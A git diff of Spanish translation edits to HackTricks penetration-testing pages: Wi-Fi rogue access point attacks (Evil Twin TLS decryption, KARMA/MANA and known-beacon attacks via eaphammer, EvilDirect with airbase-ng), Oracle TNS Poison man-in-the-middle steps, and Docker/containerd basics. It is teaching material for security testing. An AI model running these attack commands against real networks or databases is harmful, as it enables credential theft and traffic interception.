-_Este método fue probado en una conexión PEAP pero como estoy descifrando un túnel TLS arbitrario esto también debería funcionar con EAP-TTLS_
+_Este método fue probado en una conexión PEAP pero como estoy descifrando un túnel TLS arbitrario, esto también debería funcionar con EAP-TTLS_
Dentro de la **configuración** de _hostapd-wpe_ **comenta** la línea que contiene _**dh\_file**_ (de `dh_file=/etc/hostapd-wpe/certs/dh` a `#dh_file=/etc/hostapd-wpe/certs/dh`)\
-Esto hará que `hostapd-wpe` **intercambie claves usando RSA** en lugar de DH, para que puedas **descifrar** el tráfico más tarde **conociendo la clave privada del servidor**.
+Esto hará que `hostapd-wpe` **intercambie claves usando RSA** en lugar de DH, por lo que podrás **descifrar** el tráfico más tarde **conociendo la clave privada del servidor**.
-Ahora inicia el **Evil Twin** usando **`hostapd-wpe`** con esa configuración modificada como de costumbre. Además, inicia **`wireshark`** en la **interfaz** que está realizando el ataque Evil Twin.
+Ahora inicia el **Evil Twin** usando **`hostapd-wpe`** con esa configuración modificada como de costumbre. Además, inicia **`wireshark`** en la **interfaz** que está realizando el ataque de Evil Twin.
-Ahora o más tarde (cuando ya hayas capturado algunos intentos de autenticación) puedes agregar la clave privada RSA a wireshark en: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
+Ahora o más tarde (cuando ya hayas capturado algunos intentos de autenticación) puedes agregar la clave privada RSA a wireshark en: `Editar --> Preferencias --> Protocolos --> TLS --> (Lista de claves RSA) Editar...`
-Agrega una nueva entrada y completa el formulario con estos valores: **IP address = any** -- **Port = 0** -- **Protocol = data** -- **Key File** (**selecciona tu archivo de clave**, para evitar problemas selecciona un archivo de clave **sin protección por contraseña**).
+Agrega una nueva entrada y completa el formulario con estos valores: **Dirección IP = cualquier** -- **Puerto = 0** -- **Protocolo = datos** -- **Archivo de clave** (**selecciona tu archivo de clave**, para evitar problemas selecciona un archivo de clave **sin protección con contraseña**).
![](<../../.gitbook/assets/image (151).png>)
-Y mira la nueva pestaña **"Decrypted TLS"**:
+Y observa la nueva pestaña **"TLS descifrado"**:
![](<../../.gitbook/assets/image (152).png>)
-## KARMA, MANA, Loud MANA y ataque de balizas conocidas
+## Ataque KARMA, MANA, MANA ruidoso y Beacons conocidos
### Listas negras/blancas de ESSID y MAC
-La siguiente tabla enumera los diferentes tipos de MFACLs (Listas de Control de Acceso de Marcos de Gestión) disponibles, así como sus efectos cuando se utilizan:
+La siguiente tabla enumera los diferentes tipos de MFACLs (Listas de Control de Acceso a Tramas de Gestión) disponibles, así como sus efectos cuando se utilizan:
![](<../../.gitbook/assets/image (149).png>)
```
@@ -654,39 +655,39 @@ pears
```
### KARMA
-Los ataques KARMA son una segunda forma de ataque de punto de acceso falso que explota el proceso de selección de red utilizado por las estaciones. En un documento técnico escrito en 2005, Dino Dai Zovi y Shane Macaulay describen cómo un atacante puede configurar un punto de acceso para escuchar solicitudes de sondeo dirigidas y responder a todas ellas con respuestas de sondeo dirigidas coincidentes. Esto provoca que las estaciones afectadas envíen automáticamente una solicitud de asociación al punto de acceso del atacante. El punto de acceso luego responde con una respuesta de asociación, causando que las estaciones afectadas se conecten al punto de acceso del atacante.
+Los ataques de Karma son una segunda forma de ataque de punto de acceso falso que explota el proceso de selección de red utilizado por las estaciones. En un documento técnico escrito en 2005, Dino Dai Zovi y Shane Macaulay describen cómo un atacante puede configurar un punto de acceso para escuchar las solicitudes de sonda dirigidas y responder a todas ellas con respuestas de sonda dirigidas coincidentes. Esto hace que las estaciones afectadas envíen automáticamente una solicitud de asociación al punto de acceso del atacante. El punto de acceso luego responde con una respuesta de asociación, lo que hace que las estaciones afectadas se conecten al atacante.
### MANA
-Según Ian de Villiers y Dominic White, las estaciones modernas están diseñadas para protegerse contra ataques KARMA ignorando respuestas de sondeo dirigidas de puntos de acceso que no hayan respondido al menos a una solicitud de sondeo de difusión. Esto llevó a una disminución significativa en el número de estaciones que eran vulnerables a ataques KARMA hasta 2015, cuando White y de Villiers desarrollaron un medio para eludir dichas protecciones. En el ataque KARMA mejorado de White y de Villiers (ataque MANA), se utilizan respuestas de sondeo dirigidas para reconstruir las PNL de las estaciones cercanas. Cuando se recibe una solicitud de sondeo de difusión de una estación, el punto de acceso del atacante responde con un SSID arbitrario de la PNL de la estación que ya se vio en un sondeo directo de ese dispositivo.
+Según Ian de Villiers y Dominic White, las estaciones modernas están diseñadas para protegerse contra los ataques de Karma al ignorar las respuestas de sonda dirigida de los puntos de acceso que aún no han respondido al menos a una solicitud de sonda de difusión. Esto llevó a una disminución significativa en el número de estaciones vulnerables a los ataques de Karma hasta 2015, cuando White y de Villiers desarrollaron un medio para eludir tales protecciones. En el ataque de Karma mejorado de White y de Villiers (ataque MANA), las respuestas de sonda dirigida se utilizan para reconstruir las PNL de las estaciones cercanas. Cuando se recibe una solicitud de sonda de difusión de una estación, el punto de acceso del atacante responde con un SSID arbitrario de la PNL de la estación que ya se vio en una sonda directa desde ese dispositivo.
-En resumen, el algoritmo MANA funciona así: cada vez que el punto de acceso recibe una solicitud de sondeo, primero determina si es un sondeo de difusión o dirigido. Si es un sondeo dirigido, la dirección MAC del remitente se agrega a la tabla hash (si aún no está allí) y el ESSID se agrega a la PNL de ese dispositivo. El AP luego responde con una respuesta de sondeo dirigida. Si es un sondeo de difusión, el punto de acceso responde con respuestas de sondeo para cada una de las redes en la PNL de ese dispositivo.
+En resumen, el algoritmo MANA funciona de la siguiente manera: cada vez que el punto de acceso recibe una solicitud de sonda, primero determina si es una sonda de difusión o dirigida. Si es una sonda dirigida, la dirección MAC del remitente se agrega a la tabla hash (si aún no está allí) y el ESSID se agrega a la PNL de ese dispositivo. El punto de acceso responde luego con una respuesta de sonda dirigida. Si es una sonda de difusión, el punto de acceso responde con respuestas de sonda para cada una de las redes en la PNL de ese dispositivo.
Ataque MANA utilizando eaphammer:
```
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
```
-### Loud MANA
+### Ataque Loud MANA
-Tenga en cuenta que el ataque MANA estándar aún no nos permite atacar dispositivos que no utilizan sondeo dirigido en absoluto. Entonces, si tampoco conocemos previamente ninguna entrada dentro de la PNL del dispositivo, necesitamos encontrar alguna otra forma de atacarlo.
+Observa que el ataque MANA estándar todavía no nos permite atacar dispositivos que no utilizan sondeos dirigidos en absoluto. Por lo tanto, si tampoco conocemos previamente ninguna entrada dentro del PNL del dispositivo, necesitamos encontrar alguna otra forma de atacarlo.
-Una posibilidad es lo que se llama ataque Loud MANA. Este ataque se basa en la idea de que los dispositivos cliente que se encuentran en proximidad física cercana entre sí probablemente tengan al menos algunas entradas comunes en sus PNL.
+Una posibilidad es lo que se llama ataque Loud MANA. Este ataque se basa en la idea de que los dispositivos clientes en proximidad física cercana entre sí probablemente tengan al menos algunas entradas comunes en sus PNL.
-En resumen, el ataque Loud MANA, en lugar de responder a las solicitudes de sondeo con cada ESSID en la PNL de un dispositivo en particular, el AP malicioso envía respuestas de sondeo para cada ESSID en cada PNL de todos los dispositivos que ha visto antes. Relacionando esto con la teoría de conjuntos, podemos decir que el AP envía respuestas de sondeo para cada ESSID en la unión de todas las PNL de los dispositivos cercanos.
+En resumen, en el ataque Loud MANA en lugar de responder a las solicitudes de sondeo con cada ESSID en el PNL de un dispositivo en particular, el AP falso envía respuestas de sondeo para cada ESSID en cada PNL de todos los dispositivos que ha visto antes. Relacionando esto con la teoría de conjuntos, podemos decir que el AP envía respuestas de sondeo para cada ESSID en la unión de todos los PNL de los dispositivos cercanos.
```
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
```
-### Ataque Known Beacon
+### Ataque de Beacon Conocido
-Aún hay casos en los que el ataque Loud MANA no tendrá éxito.\
-El ataque Known Beacon es una forma de "Fuerza Bruta" para intentar que la víctima se conecte con el atacante. El atacante crea un AP que responde a cualquier ESSID y ejecuta código enviando beacons que fingen ESSIDs de cada nombre dentro de una lista de palabras. Con suerte, la víctima contendrá algunos de estos nombres de ESSID dentro de su PNL e intentará conectarse al AP falso.\
-Eaphammer implementó este ataque como un ataque MANA donde todos los ESSIDs dentro de una lista se cargan (también podrías combinar esto con `--loud` para crear un ataque Loud MANA + Known beacons):
+Todavía hay casos en los que el ataque Loud MANA no tendrá éxito.
+El ataque de Beacon Conocido es una forma de "Fuerza Bruta" de ESSIDs para intentar que la víctima se conecte al atacante. El atacante crea un AP que responde a cualquier ESSID y ejecuta algún código enviando beacons falsificando ESSIDs de cada nombre dentro de una lista de palabras. Con suerte, la víctima contendrá algunos de estos nombres de ESSID dentro de su PNL y tratará de conectarse al AP falso.
+Eaphammer implementó este ataque como un ataque MANA donde todos los ESSIDs dentro de una lista son cargados (también se puede combinar esto con `--loud` para crear un ataque Loud MANA + Beacon Conocido):
```
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
```
-**Ataque Known Beacon Burst**
+**Ataque de ráfaga de balizas conocidas**
-Como es sabido, los beacons son ruidosos. Puedes usar un script dentro del proyecto Eaphammer para lanzar beacons de cada nombre de ESSID dentro de un archivo muy rápidamente. Si combinas este script con un ataque MANA de Eaphammer, los clientes podrán conectarse a tu AP.
+Como las balizas conocidas son ruidosas, puedes usar un script dentro del proyecto Eaphammer para lanzar ráfagas de balizas de cada nombre de ESSID dentro de un archivo muy rápidamente. Si combinas este script con un ataque MANA de Eaphammer, los clientes podrán conectarse a tu punto de acceso.
```
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
@@ -697,15 +698,15 @@ Como es sabido, los beacons son ruidosos. Puedes usar un script dentro del proye
```
## Wi-Fi Direct
-Wi-Fi Direct es un estándar de Wi-Fi que permite a los dispositivos conectarse entre sí sin un AP inalámbrico, ya que uno de los dos dispositivos actuará como AP (llamado propietario del grupo). Puedes encontrar Wi-Fi Direct en muchos dispositivos IoT como impresoras, televisores...
+Wi-Fi Direct es un estándar de Wi-Fi que permite que los dispositivos se conecten entre sí sin necesidad de un punto de acceso inalámbrico, ya que uno de los dos dispositivos actuará como punto de acceso (llamado propietario del grupo). Puedes encontrar Wi-Fi Direct en muchos dispositivos de IoT como impresoras, televisores...
-Wi-Fi Direct depende de Wi-Fi Protected Setup (**WPS**) para conectar los dispositivos de manera segura. WPS tiene múltiples métodos de configuración como Configuración **Push-Button** (PBC), entrada de **PIN** y Comunicación de **Campo Cercano** (NFC)
+Wi-Fi Direct se basa en Wi-Fi Protected Setup (**WPS**) para conectar de forma segura los dispositivos. WPS tiene múltiples métodos de configuración como la Configuración de **Botón de Pulsación** (PBC), la **entrada de PIN**, y la **Comunicación de Campo Cercano** (NFC).
-Por lo tanto, los ataques previamente vistos a WPS PIN también son válidos aquí si se utiliza PIN.
+Por lo tanto, los ataques previamente vistos al PIN de WPS también son válidos aquí si se utiliza el PIN.
-### EvilDirect Hijacking
+### Secuestro de EvilDirect
-Esto funciona como un Evil-Twin pero para Wi-Fi direct, puedes suplantar a un propietario de grupo para intentar que otros dispositivos como teléfonos se conecten a ti: `airbase-ng -c 6 -e DIRECT-5x-BRAVIA -a BB:BB:BB:BB:BB:BB mon0`
+Esto funciona como un Evil-Twin pero para Wi-Fi Direct, puedes hacer pasar por propietario de grupo para intentar que otros dispositivos como teléfonos se conecten a ti: `airbase-ng -c 6 -e DIRECT-5x-BRAVIA -a BB:BB:BB:BB:BB:BB mon0`
## Referencias
@@ -718,33 +719,33 @@ Esto funciona como un Evil-Twin pero para Wi-Fi direct, puedes suplantar a un pr
* [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
* [https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d](https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d)
-TODO: Echa un vistazo a [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login con facebook e imitación de WPA en captive portals)
+TODO: Echa un vistazo a [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (inicio de sesión con Facebook e imitación de WPA en portales cautivos)
-Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores.
+Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs!
-**Hacking Insights**\
-Interactúa con contenido que profundiza en la emoción y los desafíos del hacking.
+**Perspectivas de Hacking**\
+Involúcrate con contenido que profundiza en la emoción y desafíos del hacking
-**Real-Time Hack News**\
-Mantente al día con el mundo del hacking en tiempo real a través de noticias y perspectivas.
+**Noticias de Hacking en Tiempo Real**\
+Mantente actualizado con el mundo del hacking a través de noticias e información en tiempo real
**Últimos Anuncios**\
-Mantente informado con los lanzamientos de nuevas recompensas por errores y actualizaciones cruciales de la plataforma.
+Mantente informado sobre los nuevos programas de recompensas por errores que se lanzan y las actualizaciones importantes de la plataforma
-**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo.
+**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ¡y comienza a colaborar con los mejores hackers hoy!
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende a hackear AWS desde cero hasta experto conhtARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
+* Si deseas que tu **empresa sea anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en github.
+* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/tns-poison.md b/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/tns-poison.md
index c3e412a14..38e45ce3c 100644
--- a/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/tns-poison.md
+++ b/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/tns-poison.md
@@ -4,49 +4,47 @@
Otras formas de apoyar a HackTricks:
-* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
-# TNS Poison
+Una vulnerabilidad conocida como 'TNS Poison' afecta a las versiones hasta la 12c del listener, siendo la última vulnerable solo bajo configuraciones específicas. Por ejemplo, deshabilitar la configuración dinámica del listener es una medida de mitigación que no es factible en configuraciones que utilizan Oracle DataGuard, PL/SQL Gateway con APEX y ciertas versiones de SAP. Esta vulnerabilidad se deriva del comportamiento predeterminado del servicio del listener de admitir configuraciones remotas, incluidas configuraciones anónimas, que es el meollo de la vulnerabilidad.
-Si te encuentras con una versión más reciente del listener, no queda mucho margen excepto fuerza bruta. Sin embargo, todas las versiones hasta la 12c son vulnerables a un ataque llamado 'TNS Poison'. Aunque la última versión es vulnerable solo en algunas configuraciones especiales. Por ejemplo, una de las formas de solucionar esta vulnerabilidad es deshabilitando la configuración dinámica del listener, lo cual es imposible cuando se utiliza Oracle DataGuard, PL/SQL Gateway en conexión con APEX y en algunas versiones de SAP. En general, el problema es que, por defecto, el servicio de listener admite configuración remota y, además, permite hacerlo de forma anónima. Aquí radica el corazón de la vulnerabilidad.
+![https://hackmag.com/wp-content/uploads/2015/04/poison.png](https://hackmag.com/wp-content/uploads/2015/04/poison.png)
-[![Fig. 1. Vulnerabilidad TNS Poison](https://hackmag.com/wp-content/uploads/2015/04/poison.png)](https://hackmag.com/wp-content/uploads/2015/04/poison.png)
+*La Figura 1 representa la Vulnerabilidad de TNS Poison.*
-Fig. 1. Vulnerabilidad TNS Poison
+Se detalla un algoritmo de ataque de muestra de la siguiente manera (consulte la Fig. 1):
-Este es un algoritmo de ataque de muestra \(ver Fig. 1\):
+1. Se debe enviar una consulta de TNS, ‘CONNECT_DATA=(COMMAND=SERVICE_REGISTER_NSGR)’.
+2. Una respuesta de ‘(DESCRIPTION=(TMP=))’ indica vulnerabilidad, mientras que un servidor parcheado responde con ‘(ERROR_STACK=(ERROR=1194))’.
+3. El atacante debe generar un paquete de configuración, que incluya el SID y la IP para un nuevo listener, dirigido a un ataque de Man-In-The-Middle (MITM). La longitud del nombre del SID actual es crucial para crear un paquete Bien Formado.
+4. Estos componentes se envían luego al listener.
+5. Tras una ejecución exitosa, las nuevas conexiones son dirigidas a través de la IP controlada por el atacante por el listener.
-* Enviar la siguiente consulta TNS: 'CONNECT\_DATA=(COMMAND=SERVICE\_REGISTER\_NSGR)'.
-* El servidor vulnerable responderá: '(DESCRIPTION=(TMP=))'. Esta será la respuesta de un servidor parcheado: '(ERROR\_STACK=(ERROR=1194))'.
-* Generar un paquete de configuración con SID e IP del nuevo listener \(para futuros MITM\). El número de caracteres en el nombre del SID actual es de fundamental importancia. Necesitas saberlo, ya que de esto depende un paquete Bien Formado.
-* A continuación, enviar todas estas golosinas al listener.
-* Si todo es correcto, entonces todas las nuevas conexiones serán redirigidas por el listener a través de tu IP controlada.
+Es crucial activar la proxy de consultas (similar a IP_forwarding en Linux) para evitar transformar un posible ataque MITM en un ataque de Denegación de Servicio (DoS), que bloquearía a nuevos clientes de conectarse a la base de datos. Esta vulnerabilidad permite a un atacante insertar comandos en la sesión de otro usuario. La vulnerabilidad del servidor puede ser evaluada utilizando el módulo del Framework Metasploit (MSF): ‘auxiliary/scanner/oracle/tnspoison_checker’.
-Es importante no olvidar habilitar el proxy de consultas \(como IP\_forwarding en Linux\), de lo contrario, en lugar de un ataque MITM ordenado, obtendrás un DoS brusco, porque los nuevos clientes no podrán conectarse a la base de datos. Como resultado, un atacante puede incrustar sus propios comandos dentro de la sesión de otro usuario. **Puedes comprobar si el servidor es vulnerable utilizando el siguiente módulo de MSF: 'auxiliary/scanner/oracle/tnspoison\_checker'.**
+Para obtener más información, consulta el [artículo original de Hackmag sobre métodos de penetración en bases de datos Oracle](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/).
-Toda esta página fue extraída de aquí: [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)
-
-**Otra forma de probar:**
+**Método de Prueba Alternativo:**
```text
./odat.py tnspoison -s -p -d --test-module
```
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende hacking en AWS desde cero hasta experto conhtARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
diff --git a/network-services-pentesting/2375-pentesting-docker.md b/network-services-pentesting/2375-pentesting-docker.md
index 3c5b6cf6b..aa45af4d8 100644
--- a/network-services-pentesting/2375-pentesting-docker.md
+++ b/network-services-pentesting/2375-pentesting-docker.md
@@ -1,32 +1,34 @@
-## 2375, 2376 Pentesting Docker
+# 2375, 2376 Pentesting Docker
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
+Aprende a hackear AWS desde cero hasta convertirte en un experto conhtARTE (HackTricks AWS Red Team Expert)!
-* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
-* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+Otras formas de apoyar a HackTricks:
+
+* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
-## Conceptos básicos de Docker
+## Conceptos Básicos de Docker
### ¿Qué es?
-La plataforma Docker es la plataforma de contenedores líder en la industria para la innovación continua y de alta velocidad, lo que permite a las organizaciones construir y compartir sin problemas cualquier aplicación, desde las heredadas hasta las que vienen a continuación, y ejecutarlas de forma segura en cualquier lugar.
+La Plataforma Docker es la plataforma de contenedores líder en la industria para una innovación continua y de alta velocidad, que permite a las organizaciones construir y compartir de manera fluida cualquier aplicación, desde legado hasta lo que viene a continuación, y ejecutarlas de forma segura en cualquier lugar.
### Arquitectura básica de Docker
-Esta información se encuentra [aquí](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc).
+Esta información se obtiene de [aquí](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc).
-* [containerd](http://containerd.io) es un tiempo de ejecución de contenedores que puede **administrar todo el ciclo de vida de un contenedor, desde la transferencia/almacenamiento de imágenes hasta la ejecución, supervisión y redes de contenedores**. **Más información sobre containerd a continuación.**
+* [containerd](http://containerd.io) es un tiempo de ejecución de contenedores que puede **gestionar todo el ciclo de vida de un contenedor, desde la transferencia/almacenamiento de imágenes hasta la ejecución del contenedor**, supervisión y redes. **Más información sobre containerd a continuación.**
* container-shim maneja contenedores sin cabeza, lo que significa que una vez que runc inicializa los contenedores, sale entregando los contenedores al container-shim que actúa como intermediario.
* [runc](http://runc.io) es un tiempo de ejecución de contenedores universal y ligero, que cumple con la especificación OCI. **runc es utilizado por containerd para generar y ejecutar contenedores según la especificación OCI**. También es el empaquetado de libcontainer.
* [grpc](http://www.grpc.io) se utiliza para la comunicación entre containerd y docker-engine.
-* [OCI](https://www.opencontainers.org) mantiene la especificación OCI para tiempo de ejecución e imágenes. Las versiones actuales de Docker admiten las especificaciones de imagen y tiempo de ejecución de OCI.
+* [OCI](https://www.opencontainers.org) mantiene la especificación OCI para tiempo de ejecución e imágenes. Las versiones actuales de Docker admiten las especificaciones de imagen y tiempo de ejecución OCI.
![runC, containerD](https://i.stack.imgur.com/5aXF6.png)
@@ -55,14 +57,14 @@ docker system prune -a
```
### Containerd
-Containerd fue diseñado para ser utilizado por Docker y Kubernetes, así como cualquier otra plataforma de contenedores que quiera **abstraer las llamadas al sistema o la funcionalidad específica del sistema operativo para ejecutar contenedores** en Linux, Windows, Solaris u otros sistemas operativos. Con estos usuarios en mente, queríamos asegurarnos de que containerd tenga solo lo que necesitan y nada que no necesiten. Realísticamente esto es imposible, pero al menos eso es lo que intentamos. Cosas como **la red están fuera del alcance de containerd**. La razón de esto es que, cuando se está construyendo un sistema distribuido, la red es un aspecto muy central. Con SDN y el descubrimiento de servicios hoy en día, la red es mucho más específica de la plataforma que abstraer las llamadas netlink en Linux.
+Containerd fue diseñado para ser utilizado por Docker y Kubernetes, así como por cualquier otra plataforma de contenedores que desee **abstraer las llamadas al sistema o la funcionalidad específica del sistema operativo para ejecutar contenedores** en Linux, Windows, Solaris u otros sistemas operativos. Con estos usuarios en mente, queríamos asegurarnos de que containerd tenga solo lo que necesitan y nada más. Realísticamente esto es imposible, pero al menos eso es lo que intentamos. Cosas como **la red están fuera del alcance de containerd**. La razón de esto es que, al construir un sistema distribuido, la red es un aspecto muy central. Con SDN y el descubrimiento de servicios hoy en día, la red es mucho más específica de la plataforma que abstraer las llamadas de netlink en Linux.
-Tenga en cuenta que **Docker utiliza Containerd, pero solo proporciona un subconjunto de las características que Docker proporciona**. Por lo tanto, ContainerD no tiene las características de gestión de red de Docker, ni se puede utilizar ContainerD solo para crear enjambres de Docker.
+Ten en cuenta que **Docker utiliza Containerd, pero solo proporciona un subconjunto de las características que Docker ofrece**. Por ejemplo, ContainerD no tiene las características de gestión de red de Docker, ni puedes usar ContainerD solo para crear enjambres de Docker.
```bash
#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
-ctr container create registry:5000/alpine:latest alpine #Create container called alpine
+ctr container create registry:5000/alpine:latest alpine #Create container called alpine
ctr container list #List containers
ctr container info #Get container info
ctr task start #You are given a shell inside of it
@@ -75,22 +77,21 @@ ctr container delete
```
### Podman
-**Información** [**de aquí**](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
